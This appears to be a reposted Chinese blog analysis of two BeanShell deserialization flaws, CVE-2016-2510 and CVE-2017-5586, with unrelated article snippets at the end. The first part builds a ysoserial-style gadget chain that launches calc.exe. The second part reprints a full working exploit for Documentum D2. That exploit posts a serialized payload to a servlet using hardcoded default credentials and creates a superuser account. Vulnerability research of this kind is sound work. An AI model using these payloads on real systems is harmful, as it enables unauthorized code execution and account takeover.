CVE-2016-2510CVE-2017-5586 BeanShell漏洞

news2024/12/22 14:05:13

前言:

首先我们需要了解BeanShell具体是做什么:

BeanShell 是一种轻量级的可嵌入式脚本语言,用于在 Java 环境中执行脚本代码。它提供了一种简单、灵活的方式来扩展和定制 Java 应用程序的行为,允许开发人员动态地执行和评估脚本代码。

 BeanShell 的一些主要功能和用途如下:

脚本执行:BeanShell 允许在 Java 程序中执行脚本代码,而无需预先编译为字节码。它提供了与 Java 类似的语法和语义,可以直接在脚本中使用 Java 类、方法和变量。开发人员可以使用 BeanShell 编写脚本来执行各种任务,如数据处理、算法实现、动态配置等。

动态扩展:BeanShell 具有动态扩展应用程序功能的能力。通过在应用程序中嵌入 BeanShell,开发人员可以允许用户在运行时提供脚本代码来扩展应用程序的行为。这样可以实现动态配置、动态加载类、动态生成代码等功能,提高应用程序的灵活性和可定制性。

软件测试:BeanShell 也可以用作软件测试的工具。开发人员可以编写 BeanShell 脚本来模拟测试场景和数据,执行自动化测试,验证应用程序的行为和正确性。由于 BeanShell 可以直接访问 Java 类库,因此可以方便地与现有的测试框架和工具集成。

学习和教育:由于 BeanShell 的简洁语法和与 Java 的紧密集成,它常被用于学习和教育领域。开发人员可以使用 BeanShell 来教授编程基础知识、演示算法实现、快速原型开发等。同时,学生们也可以使用 BeanShell 来实践和测试他们的代码。

简单使用:

下面我们使用2.0.b4版本的BeanShell先编写点简单代码方便理解,pom添加:

<dependency>
    <groupId>org.beanshell</groupId>
    <artifactId>bsh-core</artifactId>
    <version>2.0b4</version>
</dependency>

首先我们尝试使用BeanShell调用eval动态执行代码打开计算器:

public static void  runcommand() throws EvalError {
    // BeanShell payload
    String payload = "new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start()";
    //创建一个解析器
    Interpreter interpre = new Interpreter();
    //执行代码
    interpre.eval(payload);
}

执行上述代码可以看到成功打开计算器, 然后大概看下调用的堆栈:

可以看到当我们调用interpre.eval的时候首先会对payload的内容修改成为一个简单的节点,如果内容错误无法初始化为节点树则报错,判断完成后会判断payload内容是一个函数还是一条执行代码,这里为执行代码,这样就会通过调用doSuffix和doName两个方法获取代码中对应调用的类和对应方法,最后通过invokeObjectMethod和invokeMethod通过反射执行代码。

下面我们看通过函数是如何调用的:

    public static void  runfunction() throws EvalError {
        String payload = "compare() {new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();}";
        try {
            // 创建一个解析器
            Interpreter interpreter = new Interpreter();
            // 执行代码
            interpreter.eval(payload);
            // 调用 compare 方法
            Object result = interpreter.eval("compare()");
            System.out.println("Result: " + result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

上述代码主要创建了compare方法然后通过eval调用payload中的compare方法进而弹出计算器,执行可以弹出计算器,同样来看下调用堆栈:

具体的执行方法其实也很简单,首先在执行 interpreter.eval(payload);的时候会判断payload内容,当内容是一个函数的时候,会将其放入NameSpace globalNameSpace;中,然后后面当我们再次通过interpreter.eval("compare()");调用compare方法的时候,首先会去globalNameSpace中去搜索方法名是否在列表中,如果列表中存在则和上面的差不多,通过调用doSuffix和doName两个方法获取代码中对应调用的类和对应方法,最后通过invokeObjectMethod和invokeMethod通过反射执行代码。

这里我们知道我们可以通过BeanShell直接执行java代码,或者执行函数,这样就存在了问题,当我们把我们要执行的恶意代码放入globalNameSpace中,然后想办法找到一个公共接口进行调用就可以执行对应的恶意方法

反序列化CVE-2016-2510:

下面通过根据ysoserial的BeanShell1改编如下代码:

    public static PriorityQueue getObject() throws Throwable {
        // BeanShell payload
        String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();return new Integer(1);}";

        // Create Interpreter
        Interpreter i = new Interpreter();

        // Evaluate payload
        i.eval(payload);

        // Create InvocationHandler
        XThis xt = new XThis(i.getNameSpace(), i);

        Class xtclass = xt.getClass();
        Field field = xtclass.getDeclaredField("invocationHandler");
        field.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) field.get(xt);

        // Create Comparator Proxy
        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

        // Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
        final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
        Object[] queue = new Object[] {1,1};
        Field field1 = priorityQueue.getClass().getDeclaredField("queue");
        field1.setAccessible(true);
        field1.set(priorityQueue, queue);

        Field field2 = priorityQueue.getClass().getDeclaredField("size");
        field2.setAccessible(true);
        field2.set(priorityQueue, 2);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);


        ByteArrayInputStream btin = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream objIn = new ObjectInputStream(btin);
        objIn.readObject();


        return priorityQueue;
    }

下面对内容进行分析,首先我们编写payload,这里payload一定要用compare,至于为什么后面进行解释,通过调用Interpreter.eval我们可以将payload中的compare方法放入globalNameSpace中,如下图:

然后将Interpreter内容赋值给XThis,为什么这里需要使用XThis,主要是因为在XThis中使用了InvocationHandler invocationHandler = new Handler();这里我们需要知道InvocationHandler具体作用:

InvocationHandler 是 Java 中的一个接口,它定义了一个方法 invoke(),被用于处理动态代理对象方法的调用。当使用动态代理创建一个代理对象时,你可以指定一个 InvocationHandler 对象,用于处理代理对象上的方法调用。

通过将 Handler 对象分配给 InvocationHandler 类型的变量 invocationHandler,你为代理对象指定了一个处理器。这意味着当你通过代理对象调用方法时,实际的方法调用会被转发给这个 Handler 对象的 invoke() 方法进行处理。

具体地说,Handler 对象的 invoke() 方法将被调用,并传递以下参数:

proxy:代理对象,即通过动态代理生成的对象。
method:正在调用的方法对象。
args:传递给方法的参数。
在 invoke() 方法中,你可以根据需要编写自定义的逻辑来处理代理对象上的方法调用,例如记录日志、执行特定的操作或转发调用给实际的对象等。

由于invocationHandler中内容为上面的XThis,如下图,所以当我们调用invoke方法的时候即调用XThis.invoke:

 查看XThis.invoke方法可以看到内部调用了XThis.invokeImpl:

在XThis.invokeImpl中我们通过参数和代码分析可以发下:

首先通过参数Method var2获取调用的方法,这里我们可以发现根据param_2可以获取到var4为compare,就是我们payload的方法,然后var8先不用管,这里只需要知道在获取类型,然后调用XThis.invokeMethod方法:

看下XThis.invokeMethod方法内容,这里可以看到参数为我们payload中的compare和一个数组,往后就很好理解了,具体内容就是我们payload中的内容compare(Object foo, Object bar),第一个参数为我们payload的方法名,后面的数组为compare中的参数,后面就是通过反射调用我们payload中的内容,就不往后跟了:

所以根据上面的分析就可以知道,我们只要能调用到XThis.invoke,并且invocationHandler为我们的添加的NameSpace内容即可,如何才能调用到XThis的invoke方法,那就要使用Proxy.newProxyInstance来添加一个动态代理,首先看看我们的攻击代码:

Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

这里有些人可能要疑惑了,为什么动态代理要创建为Comparator类型,这里就是一个很关键的地方,首先我们看下Comparator内容,可以看到Comparator接口中有一个方法为compare(T o1, T o2),和我们payload中的compare相同,参数也相同,也就是说我们payload中的内容就是Comparator中compare方法的具体实现,

下我们就要想如何才能触发 XThis.invoke并且最终调用到compare,这里我们使用PriorityQueue,调用如下代码:

new PriorityQueue<Object>(2, comparator);

看下源码可以发现我们可以将我们精心构造的comparator赋值给PriorityQueue中的comparator:

然后添加两个数组内容到 PriorityQueue中即可,然后将PriorityQueue序列化,当反序列化的过程中即会弹出计算器,后面的过程都了解了,这里主要说下反序列化中如何进入comparator方法:

首先我们会进入到PriorityQueue的readObject方法,在内容主要调用链点在siftDownUsingComparator方法中,可以看到调用了comparator.compare,这里的comparator就是我们上面new的过程中构造的动态代理comparator:

最后看下堆栈:

 

大概总结下流程,首先我们需要编写一个payload,内容为实现Comparator的compare接口,第一步需要通过调用Interpreter.eval将payload添加到globalNameSpace中,即一个方法数组中,第二步创建XThis并通过反射获取其中的invocationHandler,第三步创建Comparator的动态代理并将创建的动态类放入PriorityQueue中,并添加两个参数,在反序列化的过程中首先进入readObject方法并通过siftDownUsingComparator来调用我们设置的动态类Comparator,然后会进入到动态类的invoke方法,即XThis的invoke方法,invoke方法中有Comparator类,compare方法名和前面添加的参数,后面的就很简单了,会在NameSpace中判断由于前面设置了compare,当调用的时候就会加载我们添加的compare方法,进而执行了任意命令,弹出了计算器。

CVE-2017-5586:

CVE-2017-5586本质上还是利用了BeanShell的漏洞,只是说其是通过BeanShell执行命令在数据库中添加数据,具体的payload如下:

/**
CVE Identifier: CVE-2017-5586
Vendor: OpenText
Affected products: Documentum D2 version 4.x
Researcher: Andrey B. Panfilov
Severity Rating: CVSS v3 Base Score: 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Description: Document D2 contains vulnerable BeanShell (bsh) and Apache Commons libraries and accepts serialised data from untrusted sources, which leads to remote code execution

Proof of concept:

===================================8<===========================================
*/

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
import java.util.PriorityQueue;

import bsh.Interpreter;
import bsh.XThis;

import com.documentum.fc.client.content.impl.ContentStoreResult;
import com.documentum.fc.client.impl.typeddata.TypedData;

/**
* @author Andrey B. Panfilov <andrey (at) panfilov (dot) tel [email concealed]>
*
* Code below creates superuser account in underlying Documentum repository
* usage: java DocumentumD2BeanShellPoc http://host:port/D2 <docbase_name> <user_name_to_create>
*
*/
@SuppressWarnings("unchecked")
public class DocumentumD2BeanShellPoc {

public static void main(String[] args) throws Exception {
String url = args[0];
String docbase = args[1];
String userName = args[2];
String payload = "compare(Object foo, Object bar) {new Interpreter()"
+ ".eval(\"try{com.documentum.fc.client.IDfSession session = com.documentum.fc.impl.RuntimeContext.getInstance()"
+ ".getSessionRegistry().getAllSessions().iterator().next();"
+ "session=com.emc.d2.api.D2Session.getAdminSession(session, false);"
+ "com.documentum.fc.client.IDfQuery query = new com.documentum.fc.client.DfQuery("
+ "\\\"CREATE dm_user object set user_name='%s',set user_login_name='%s',set user_source='inline password', "
+ "set user_password='%s', set user_privileges=16\\\");query.execute(session, 3);} "
+ "catch (Exception e) {}; return 0;\");}";
Interpreter interpreter = new Interpreter();
interpreter.eval(String.format(payload, userName, userName, userName));
XThis x = new XThis(interpreter.getNameSpace(), interpreter);
Comparator comparator = (Comparator) x.getInterface(new Class[] { Comparator.class, });
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] { 1, 1 };
setFieldValue(priorityQueue, "queue", queue);
setFieldValue(priorityQueue, "size", 2);

// actually we may send priorityQueue directly, but I want to hide
// deserialization stuff from stacktrace :)
Class cls = Class.forName("com.documentum.fc.client.impl.typeddata.ValueHolder");
Constructor ctor = cls.getConstructor();
ctor.setAccessible(true);

Object valueHolder = ctor.newInstance();
setFieldValue(valueHolder, "m_value", priorityQueue);
List valueHolders = new ArrayList();
valueHolders.add(valueHolder);

TypedData data = new TypedData();
setFieldValue(data, "m_valueHolders", valueHolders);

ContentStoreResult result = new ContentStoreResult();
setFieldValue(result, "m_attrs", data);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
for (Character c : "SAVED".toCharArray()) {
dos.write(c);
}
dos.write((byte) 124);
dos.flush();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(result);
oos.flush();
byte[] bytes = baos.toByteArray();
baos = new ByteArrayOutputStream();
dos = new DataOutputStream(baos);
dos.writeInt(bytes.length);
dos.write(bytes);
dos.flush();
HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
conn.setRequestProperty("Content-Type", "application/octet-stream");
conn.setRequestMethod("POST");
conn.setUseCaches(false);
conn.setDoOutput(true);
conn.getOutputStream().write(baos.toByteArray());
conn.connect();
System.out.println("Response code: " + conn.getResponseCode());
InputStream stream = conn.getInputStream();
byte[] buff = new byte[1024];
int count = 0;
while ((count = stream.read(buff)) != -1) {
System.out.write(buff, 0, count);
}
}

public static String makeUrl(String url) {
if (!url.endsWith("/")) {
url += "/";
}
return url + "servlet/DoOperation?origD2BocsServletName=Checkin&id=1&file=/etc/passwd
&file_length=1000"
+ "&_username=dmc_wdk_preferences_owner&_password=webtop";
}

public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

}

/**
===================================>8===========================================

Disclosure timeline:

2016.02.28: Vulnerability discovered
2017.01.25: CVE Identifier assigned
2017.02.01: Vendor contacted, no response
2017.02.15: Public disclosure
*/

分析下可以发现其主要执行了如下数据库语言:

CREATE dm_user object set user_name='%s',set user_login_name='%s',set user_source='inline password', set user_password='%s', set user_privileges=16\\\");query.execute(session, 3);} 

具体的漏洞点为com.documentum.fc.client.impl.typeddata.ValueHolder方法的m_value参数,感兴趣的可以分析下,原理和上面差别不大,只是调用链添加了一层

具体的漏洞地址为如下地址:

"servlet/DoOperation?origD2BocsServletName=Checkin&id=1&file=/etc/passwd&file_length=1000&_username=dmc_wdk_preferences_owner&_password=webtop"

感兴趣的可以去分析下,也很简单,这里就不分析了。

总结:

分析下发现反序列化的调用链还是很巧妙的,通过动态代理和接口一步一步到我们的最终代码,只能说写这个调用链的技术确实厉害,好的poc和艺术品一样,值得好好研究学习

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1283145.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

顺序查找、折半查找、分块查找

概念 查找表&#xff0c;分为静态查找表和动态查找表。 顺序查找 效率分析&#xff1a; 优化 折半查找 折半查找&#xff0c;又称“二分查找”仅适用于有序的顺序表。 ⭐&#xff0c;因为顺序表可以随机访问&#xff0c;链表不可以 效率分析 折半查找判定树的构造 如果&…

食品加工厂污水处理设备有哪些

食品加工厂污水处理设备是确保食品生产过程中污水能够得到有效处理和排放的重要设备。目前&#xff0c;针对食品加工厂污水处理的设备包括以下几个主要分类&#xff1a; 1. 预处理设备&#xff1a;包括格栅、沉砂池和沉淀池等。格栅主要用于去除污水中的大颗粒固体物质&#x…

Ubuntu20.04安装向日葵、开机自启、解决windows系统远程黑屏(笔记)

这里写目录标题 动机1. Ubuntu20.04 安装向日葵2. 设置开机自启3. 解决windows不可远程的问题4. 大公告成 动机 办公室有个工作站&#xff0c;要比我的笔记本的CPU稍微好一点&#xff0c;用来跑陆面过程。我信心满满的装了个Ubuntu20.04双系统,但是发现向日葵安装不上了。我少…

一.线性表

一.单链表 1.定义结构体 1.1不带头结点的结构体 typedef struct node{int data;struct node *next;//struct node *prior;//双向链表需要加上指针prior }Lnode,*Linklist; 1.2带头结点的结构体 typedef struct node{int data;struct node * next; }Node;typedef struct l…

一个可用于临床的食管癌远处转移预测模型(shiny APP)

一个可用于临床的食管癌远处转移预测模型&#xff08;APP&#xff09; 最近将之前构建的一个预测食管癌远处转移模型制作成了APP&#xff08;地址见文末&#xff09;&#xff0c;有一些思考&#xff0c;和大家分享如下&#xff1a; 1. 充分的说明 首先&#xff0c;对模型的…

面试题:为什么数据库连接池不采用 IO 多路复用?

今天我们聊一个不常见的 Java 面试题&#xff1a;为什么数据库连接池不采用 IO 多路复用&#xff1f; 这是一个非常好的问题。IO多路复用被视为是非常好的性能助力器。但是一般我们在使用 DB 时&#xff0c;还是经常性采用c3p0&#xff0c;tomcat connection pool等技术来与 D…

软件验收计划书

软件项目验收计划的作用主要有以下几点&#xff1a; 确保项目质量&#xff1a;通过项目验收&#xff0c;客户或相关方可以对项目的成果进行全面、系统的评估&#xff0c;以确保项目达到预期的质量标准。 发现和解决问题&#xff1a;在项目开发过程中&#xff0c;难免会存在一些…

软著项目推荐 深度学习的口罩佩戴检测 - opencv 卷积神经网络 机器视觉 深度学习

文章目录 0 简介1 课题背景&#x1f6a9; 2 口罩佩戴算法实现2.1 YOLO 模型概览2.2 YOLOv32.3 YOLO 口罩佩戴检测实现数据集 2.4 实现代码2.5 检测效果 3 口罩佩戴检测算法评价指标3.1 准确率&#xff08;Accuracy&#xff09;3.2 精确率(Precision)和召回率(Recall)3.3 平均精…

Ant Design Pro初始化报错

今天按照官网步骤初始化项目&#xff0c;第一次报错 fatal: unable to access https://github.com/ant-design/ant-design-pro/: SSL certificate problem: unable to get local issuer certificate 致命&#xff1a;无法访问https://github.com/ant-design/ant-design-pro/&…

深入解析Linux内核网络-拥塞控制系列(一)

谈起网络拥塞控制&#xff0c;大家可能很熟悉八股文中的"加法增大“、”乘法减小“、”慢开始“、“拥塞避免”、“快重传”、“快恢复”等概念。没错&#xff0c;这是一种经典网络拥塞控制算法的基础理论&#xff0c;但在实际的实现时不同的拥塞控制算法&#xff0c;有很…

2、Linux_远程操作

远程操作 1.配置ifconfig 1.1输入 ifconfig 查看 ip 的命令( ifconfig ) 1.2搜索 ifconfig 命令&#xff08;yum search ifconfig&#xff09; 1.3配置网卡 进入如下目录配置网卡 cd /etc/syscofig/network-scripts编辑 ifcfg-ens33 vi ifcfg-ens33按 i 键进入编辑模式 按 …

minio服务端搭建使用

一.minio文件服务搭建 非docker环境部署(Linux部署) 1.官网下载安装包&#xff1a;MinIO | Code and downloads to create high performance object storage 2、上传安装包文件到目录(这个可以自由选择) /home/minio/ 3、为minio添加权限 sudo chmod x minio 4、 创建mini…

【C语言】扫雷小游戏初学者版

成功的秘诀就是每天都比别人多努力一点。 今天给大家带来一款非常经典的小游戏——扫雷的实现和讲解 这里是目录 前言整体框架1.打印菜单2.创建二维数组3.初始化棋盘4.打印棋盘5.布置棋盘中的雷6.排查雷和统计雷总体代码test.cgame.cgame.h 进阶&#xff08;递归展开&#xff0…

【arduino库之TroykaDHT(针对DHT系列温湿度传感器)】

该库允许您从 DHT 系列传感器读取温度和湿度。 该库允许获取以摄氏度、开尔文和华氏度为单位的相对湿度和温度数据。支持的传感器&#xff1a;DH11、DHT21、DHT22。 TroykaDHT库的的使用非常简单&#xff0c;它包含7个函数&#xff1a; begin //初始化接口&#xff0c;做好…

Matlab 生成license

参考下面两个帖子 https://ww2.mathworks.cn/matlabcentral/answers/389888-matlab https://www.mathworks.com/matlabcentral/answers/131749-id-id-id-id 登陆 https://ww2.mathworks.cn/licensecenter 针对R2020b版本,点击下面红框生成 ip addr | grep ether看第一行 根据…

如何使用cpolar+Plex在Windows系统上搭建私人媒体影音站点公网可访问

文章目录 1.前言2. Plex网站搭建2.1 Plex下载和安装2.2 Plex网页测试2.3 cpolar的安装和注册 3. 本地网页发布3.1 Cpolar云端设置3.2 Cpolar本地设置 4. 公网访问测试5. 结语 1.前言 用手机或者平板电脑看视频&#xff0c;已经算是生活中稀松平常的场景了&#xff0c;特别是各…

数据可视化私有化部署:为何成本居高不下?

尽管在可视化设计这行干了好多年&#xff0c;也接手过不少项目&#xff0c;但昂贵的私有化部署费用总能让我发出由衷的感叹&#xff1a;“这几十万一年也太贵了&#xff01;”。可以预见&#xff0c;数据可视化软件私有化部署所带来的高昂成本&#xff0c;将是许多企业面临的问…

探索数据之美:优雅权重计算方法与Python实践

写在开头 在数据的世界里,我们常常需要通过各种方法为不同的数据点分配合理的权重。这是数据分析中至关重要的一环,它决定了模型的准确性和结果的可信度。本文将引导您探索数据分析中常用的权重计算方法,并通过清晰的Python代码实现,让您轻松驾驭权重的奥秘。 1.常见分类…

人机交互——言语信息表示模型

如何将大量的言语碎片进行统一表示和存储&#xff0c;以便能够提取不同类型言语信息中的重要特征和语义信息&#xff0c;并计算和推理用户的交互意图&#xff0c;是一个极具挑战性的问题。 1.言语信息表示模型概述 2.言语信息表示模型结构 3.言语信息表示模型应用

什么是网络爬虫?有什么用?怎么爬?

嗨喽&#xff0c;大家好呀~这里是爱看美女的茜茜呐 【导读】 网络爬虫也叫做网络机器人&#xff0c;可以代替人们自动地在互联网中进行数据信息的采集与整理。 在大数据时代&#xff0c;信息的采集是一项重要的工作&#xff0c;如果单纯靠人力进行信息采集&#xff0c;不仅低…